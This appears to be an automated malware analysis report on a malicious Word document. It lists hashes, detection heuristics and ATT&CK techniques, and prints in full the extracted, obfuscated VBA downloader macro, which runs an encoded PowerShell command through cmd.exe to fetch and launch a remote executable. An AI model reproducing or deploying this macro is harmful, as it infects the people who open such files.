Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6241d1528f6463b…

MALICIOUS

Office (OLE)

93.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: c6ac6b348423892c833010109bbd20ab SHA-1: 215c833d8978abecd3b3272c3169178cbb715840 SHA-256: e6241d1528f6463bc2cd6d5d9a2d9b7bfb3f18a2f049d2087760cfcbc45ac17b
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains VBA macros with an AutoClose routine that is triggered upon document closure. This routine constructs and executes a command-line string using cmd.exe, which appears to be an obfuscated attempt to download and execute a second-stage payload. The presence of Shell() calls and cmd.exe references strongly indicates a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.00536d-6720548-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6720548-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa_3(1) = GIPatYxuqalimeJAiONaVyG & CStr("7698")
  Call VBA.Interaction.Shell(TYLalEkIxAjuJulWupEHYHYjoiheLUME, (10 / 10) - 1)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    On Error Resume Next
TUdAyxEpdrOCAdhYhekHYsAfyMDerYTVEFYGIa = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A …
Dim ZovUaECyceXADaCPURaoJicYLILIJy(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const NaHUJyxYCYsEtaKyOPItaZYrYMEMitIvYSyjoJukYL = 0
Sub AutoClose()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12553 bytes
SHA-256: 278d1f45b88e22449e491e5fdd3e90a9ec663adf6561a7626e753600972183f0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const NaHUJyxYCYsEtaKyOPItaZYrYMEMitIvYSyjoJukYL = 0
Sub AutoClose()
On Error Resume Next
TUdAyxEpdrOCAdhYhekHYsAfyMDerYTVEFYGIa = "cmd.exe /c P^" + Chr(1 + 10 + (75) + 25) + "^W^e^r^s^" + Chr(2 + (35 * 2)) + "^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Chr(2 + (35 * 2)) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^" + Chr(1 + 10 + (75) + 25) + "^A^C^I^A^a^A^B^0^A^" + Chr(2 + (35 * 2)) + "^Q^A^c^A^A^6^A^C^8^A"
Dim ZovUaECyceXADaCPURaoJicYLILIJy(2)
Dim ZovUaECyceXADaCPURaoJicYLILIJy_3(2)
If InStr(3, "gAgeFeLOvUQYdiTQ", "ZovUaECyceXADaCPURaoJicYLILIJy") Then
  ZovUaECyceXADaCPURaoJicYLILIJy(0) = InStrRev("gAgeFeLOvUQYdiTQ", "ZovUaECyceXADaCPURaoJicYLILIJy")
  IsError CVErr(1452)
End If
IsError CVErr(113)
If Len(Oct(1452)) > 3 Then
 ZovUaECyceXADaCPURaoJicYLILIJy(1) = Hex(11 ^ 3)
End If
ZovUaECyceXADaCPURaoJicYLILIJy_3(0) = Now
VarType IsNumeric(CInt("1452"))
ZovUaECyceXADaCPURaoJicYLILIJy_3(1) = gAgeFeLOvUQYdiTQ & CStr("1452")
Dim punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX(2)
Dim punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX_7(2)
If InStr(7, "gIDIkEfAXaSosOwaH", "punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX") Then
  punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX(0) = InStrRev("gIDIkEfAXaSosOwaH", "punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX")
  IsError CVErr(567)
End If
IsError CVErr(127)
If Len(Oct(567)) > 7 Then
 punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX(1) = Hex(12 ^ 7)
End If
punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX_7(0) = Now
VarType IsNumeric(CInt("567"))
punenaSADixomifuQEKUTOxumAXUzyrYqyzURidEvEdAX_7(1) = gIDIkEfAXaSosOwaH & CStr("567")

CyfyrOvaluSeZrOviGULYOdOpoButo = "^L^w^B^3^A^G^8^A^Y^Q^B^0^A^G^k^A^b^g^B^r^A^" + Chr(2 + (35 * 2)) + "^c^A^b^w^B^v^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^" + Chr(1 + 10 + (75) + 25) + "^A^" + Chr(2 + (35 * 2)) + "^A^A^P^w^B^s^A^D^0^A^c^g^B^l^A^G^U^A^e^g^B^h^A^D^U^A^L^g^B^4^A^G^E^A^c^A^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^" + Chr(1 + 10 + (75) + 25) + "^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A"


Dim cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl(2)
Dim cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl_2(2)
If InStr(2, "QIbaFelAUgOmYzOpa", "cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl") Then
  cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl(0) = InStrRev("QIbaFelAUgOmYzOpa", "cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl")
  IsError CVErr(9782)
End If
IsError CVErr(102)
If Len(Oct(9782)) > 2 Then
 cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl(1) = Hex(10 ^ 2)
End If
cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl_2(0) = Now
VarType IsNumeric(CInt("9782"))
cIpOvaoiurucOBiDuqYKUKIJyLaQEfyaOl_2(1) = QIbaFelAUgOmYzOpa & CStr("9782")
Dim fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi(2)
Dim fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi_2(2)
If InStr(2, "rIKIpiQeSuxFyxuuD", "fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi") Then
  fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi(0) = InStrRev("rIKIpiQeSuxFyxuuD", "fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi")
  IsError CVErr(6153)
End If
IsError CVErr(112)
If Len(Oct(6153)) > 2 Then
 fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi(1) = Hex(11 ^ 2)
End If
fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi_2(0) = Now
VarType IsNumeric(CInt("6153"))
fAXeDyPIHUkokYwaijuWUWUIWURzYafulosi_2(1) = rIKIpiQeSuxFyxuuD & CStr("6153")
goBUtefaCUWecykySgYqupISivYvumupIGuFYpax = "^N^w^A^2^A^D^U^A^Z^A^A^x^A^D^A^A^N^g^B^i^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^p^A^D^s^A^I^A^B^T^A^" + Chr(2 + (35 * 2)) + "^Q^A^Y^Q^B^y^A^" + Chr(2 + (35 * 2)) + "^Q^A^L^Q^B^Q^A^" + Chr(2 + (35 * 2)) + "^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^D^c^A^N^g^A^1^A^G^Q^A^M^Q^A^w^A^D^Y^A^Y^g^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^" + Chr(2 + (35 * 2)) + "^Q^A"
Dim WaiVUkohUCcySITijYRENANuiISIToKof(2)
Dim WaiVUkohUCcySITijYRENANuiISIToKof_4(2)
If InStr(4, "GAAlEsEiDUZ", "WaiVUkohUCcySITijYRENANuiISIToKof") Then
  WaiVUkohUCcySITijYRENANuiISIToKof(0) = InStrRev("GAAlEsEiDUZ", "WaiVUkohUCcySITijYRENANuiISIToKof")
  IsError CVErr(9848)
End If
IsError CVErr(134)
If Len(Oct(9848)) > 4 Then
 WaiVUkohUCcySITijYRENANuiISIToKof(1) = Hex(13 ^ 4)
End If
WaiVUkohUCcySITijYRENANuiISIToKof_4(0) = Now
VarType IsNumeric(CInt("9848"))
WaiVUkohUCcySITijYRENANuiISIToKof_4(1) = GAAlEsEiDUZ & CStr("9848")

Dim HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua(2)
Dim HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua_6(2)
If InStr(6, "hEiyjAmePeveRisEaAEZ", "HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua") Then
  HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua(0) = InStrRev("hEiyjAmePeveRisEaAEZ", "HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua")
  IsError CVErr(8875)
End If
IsError CVErr(116)
If Len(Oct(8875)) > 6 Then
 HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua(1) = Hex(11 ^ 6)
End If
HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua_6(0) = Now
VarType IsNumeric(CInt("8875"))
HyseDUiOaaiHOKOVahOQiRzEciTOmyvIQua_6(1) = hEiyjAmePeveRisEaAEZ & CStr("8875")
Dim ZExypASySAlAbaNyqAPasoMEd(2)
Dim ZExypASySAlAbaNyqAPasoMEd_3(2)
If InStr(3, "CEcyrmIMAaeKA", "ZExypASySAlAbaNyqAPasoMEd") Then
  ZExypASySAlAbaNyqAPasoMEd(0) = InStrRev("CEcyrmIMAaeKA", "ZExypASySAlAbaNyqAPasoMEd")
  IsError CVErr(6773)
End If
IsError CVErr(133)
If Len(Oct(6773)) > 3 Then
 ZExypASySAlAbaNyqAPasoMEd(1) = Hex(13 ^ 3)
End If
ZExypASySAlAbaNyqAPasoMEd_3(0) = Now
VarType IsNumeric(CInt("6773"))
ZExypASySAlAbaNyqAPasoMEd_3(1) = CEcyrmIMAaeKA & CStr("6773")

PEZUJyNiFOTEDeqUianYXuwywuC = "^O^w^A^="
Dim LUSIPATAViSOzenoBYREwhytYSYmAvIfUw(2)
Dim LUSIPATAViSOzenoBYREwhytYSYmAvIfUw_7(2)
If InStr(7, "zUlEDUvFANIMUiWojASO", "LUSIPATAViSOzenoBYREwhytYSYmAvIfUw") Then
  LUSIPATAViSOzenoBYREwhytYSYmAvIfUw(0) = InStrRev("zUlEDUvFANIMUiWojASO", "LUSIPATAViSOzenoBYREwhytYSYmAvIfUw")
  IsError CVErr(4502)
End If
IsError CVErr(117)
If Len(Oct(4502)) > 7 Then
 LUSIPATAViSOzenoBYREwhytYSYmAvIfUw(1) = Hex(11 ^ 7)
End If
LUSIPATAViSOzenoBYREwhytYSYmAvIfUw_7(0) = Now
VarType IsNumeric(CInt("4502"))
LUSIPATAViSOzenoBYREwhytYSYmAvIfUw_7(1) = zUlEDUvFANIMUiWojASO & CStr("4502")
Dim LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu(2)
Dim LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu_9(2)
If InStr(9, "QaEdEQUpEBehiiQoZfiF", "LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu") Then
  LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu(0) = InStrRev("QaEdEQUpEBehiiQoZfiF", "LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu")
  IsError CVErr(9179)
End If
IsError CVErr(139)
If Len(Oct(9179)) > 9 Then
 LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu(1) = Hex(13 ^ 9)
End If
LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu_9(0) = Now
VarType IsNumeric(CInt("9179"))
LCarolYxUkAlEfaCIAxOZOFAFbaXIVitobuqyKholaRu_9(1) = QaEdEQUpEBehiiQoZfiF & CStr("9179")


Dim HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu(2)
Dim HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu_6(2)
If InStr(6, "vowajaTeqeLa", "HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu") Then
  HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu(0) = InStrRev("vowajaTeqeLa", "HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu")
  IsError CVErr(1646)
End If
IsError CVErr(116)
If Len(Oct(1646)) > 6 Then
 HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu(1) = Hex(11 ^ 6)
End If
HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu_6(0) = Now
VarType IsNumeric(CInt("1646"))
HyDeqeMAQUXEwapAbZCAHaNeDIgiiypusYQohu_6(1) = vowajaTeqeLa & CStr("1646")
Call auHlOkoNEbEzpeQUlYQBOv(TUdAyxEpdrOCAdhYhekHYsAfyMDerYTVEFYGIa & "", CyfyrOvaluSeZrOviGULYOdOpoButo + CStr(""), goBUtefaCUWecykySgYqupISivYvumupIGuFYpax, "yoq1duqp2710suq", PEZUJyNiFOTEDeqUianYXuwywuC)

Dim aojuMOhyCYiEjerNkUgYaOrAJYja(2)
Dim aojuMOhyCYiEjerNkUgYaOrAJYja_7(2)
If InStr(7, "CovUfurYndaZUP", "aojuMOhyCYiEjerNkUgYaOrAJYja") Then
  aojuMOhyCYiEjerNkUgYaOrAJYja(0) = InStrRev("CovUfurYndaZUP", "aojuMOhyCYiEjerNkUgYaOrAJYja")
  IsError CVErr(2695)
End If
IsError CVErr(137)
If Len(Oct(2695)) > 7 Then
 aojuMOhyCYiEjerNkUgYaOrAJYja(1) = Hex(13 ^ 7)
End If
aojuMOhyCYiEjerNkUgYaOrAJYja_7(0) = Now
VarType IsNumeric(CInt("2695"))
aojuMOhyCYiEjerNkUgYaOrAJYja_7(1) = CovUfurYndaZUP & CStr("2695")
Dim PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD(2)
Dim PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD_10(2)
If InStr(10, "LaqiXoTyBaLILIlEbaC", "PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD") Then
  PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD(0) = InStrRev("LaqiXoTyBaLILIlEbaC", "PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD")
  IsError CVErr(1660)
End If
IsError CVErr(1110)
If Len(Oct(1660)) > 10 Then
 PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD(1) = Hex(11 ^ 10)
End If
PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD_10(0) = Now
VarType IsNumeric(CInt("1660"))
PimIRiHawUSuFAJiZeHiXePUVeKINyLiLD_10(1) = LaqiXoTyBaLILIlEbaC & CStr("1660")
End Sub
Sub auHlOkoNEbEzpeQUlYQBOv(TUdAyxEpdrOCAdhYhekHYsAfyMDerYTVEFYGIa, CyfyrOvaluSeZrOviGULYOdOpoButo, goBUtefaCUWecykySgYqupISivYvumupIGuFYpax, jUhoRUpopEhAhOPewEQePolIbOjy, PEZUJyNiFOTEDeqUianYXuwywuC)
On Error Resume Next

Dim VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm(2)
Dim VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm_2(2)
If InStr(2, "GEHYFelOMpA", "VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm") Then
  VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm(0) = InStrRev("GEHYFelOMpA", "VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm")
  IsError CVErr(5797)
End If
IsError CVErr(122)
If Len(Oct(5797)) > 2 Then
 VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm(1) = Hex(12 ^ 2)
End If
VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm_2(0) = Now
VarType IsNumeric(CInt("5797"))
VYjWyFBEsdUXIHoFokoKjuvyHovazACAgegAbOm_2(1) = GEHYFelOMpA & CStr("5797")
Dim gsaPuVixyhotEtyNEfICIJIqEKOriXOV(2)
Dim gsaPuVixyhotEtyNEfICIJIqEKOriXOV_6(2)
If InStr(6, "piSUfedOgAJ", "gsaPuVixyhotEtyNEfICIJIqEKOriXOV") Then
  gsaPuVixyhotEtyNEfICIJIqEKOriXOV(0) = InStrRev("piSUfedOgAJ", "gsaPuVixyhotEtyNEfICIJIqEKOriXOV")
  IsError CVErr(7417)
End If
IsError CVErr(116)
If Len(Oct(7417)) > 6 Then
 gsaPuVixyhotEtyNEfICIJIqEKOriXOV(1) = Hex(11 ^ 6)
End If
gsaPuVixyhotEtyNEfICIJIqEKOriXOV_6(0) = Now
VarType IsNumeric(CInt("7417"))
gsaPuVixyhotEtyNEfICIJIqEKOriXOV_6(1) = piSUfedOgAJ & CStr("7417")

Dim fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX(2)
Dim fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX_1(2)
If InStr(1, "KYPinXinOSObubol", "fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX") Then
  fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX(0) = InStrRev("KYPinXinOSObubol", "fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX")
  IsError CVErr(5755)
End If
IsError CVErr(111)
If Len(Oct(5755)) > 1 Then
 fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX(1) = Hex(11 ^ 1)
End If
fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX_1(0) = Now
VarType IsNumeric(CInt("5755"))
fIwywOsEHeHaZoWEvuZiFIdewEtALuvYvYX_1(1) = KYPinXinOSObubol & CStr("5755")
  TYLalEkIxAjuJulWupEHYHYjoiheLUME = Join(Array(TUdAyxEpdrOCAdhYhekHYsAfyMDerYTVEFYGIa, CyfyrOvaluSeZrOviGULYOdOpoButo, goBUtefaCUWecykySgYqupISivYvumupIGuFYpax, PEZUJyNiFOTEDeqUianYXuwywuC), "")
  
Dim CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe(2)
Dim CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe_10(2)
If InStr(10, "zoDIaUbItUjYgyfarusIHO", "CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe") Then
  CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe(0) = InStrRev("zoDIaUbItUjYgyfarusIHO", "CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe")
  IsError CVErr(3958)
End If
IsError CVErr(1210)
If Len(Oct(3958)) > 10 Then
 CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe(1) = Hex(12 ^ 10)
End If
CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe_10(0) = Now
VarType IsNumeric(CInt("3958"))
CEsePaRInqaQAqEVNUGYhimibAHaTOZUVuQOxe_10(1) = zoDIaUbItUjYgyfarusIHO & CStr("3958")
Dim YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa(2)
Dim YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa_3(2)
If InStr(3, "GIPatYxuqalimeJAiONaVyG", "YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa") Then
  YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa(0) = InStrRev("GIPatYxuqalimeJAiONaVyG", "YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa")
  IsError CVErr(7698)
End If
IsError CVErr(133)
If Len(Oct(7698)) > 3 Then
 YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa(1) = Hex(13 ^ 3)
End If
YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa_3(0) = Now
VarType IsNumeric(CInt("7698"))
YdElOQUkIJOdICoLUBudAbUDylADiMaMOCiaYGICa_3(1) = GIPatYxuqalimeJAiONaVyG & CStr("7698")
  Call VBA.Interaction.Shell(TYLalEkIxAjuJulWupEHYHYjoiheLUME, (10 / 10) - 1)



End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.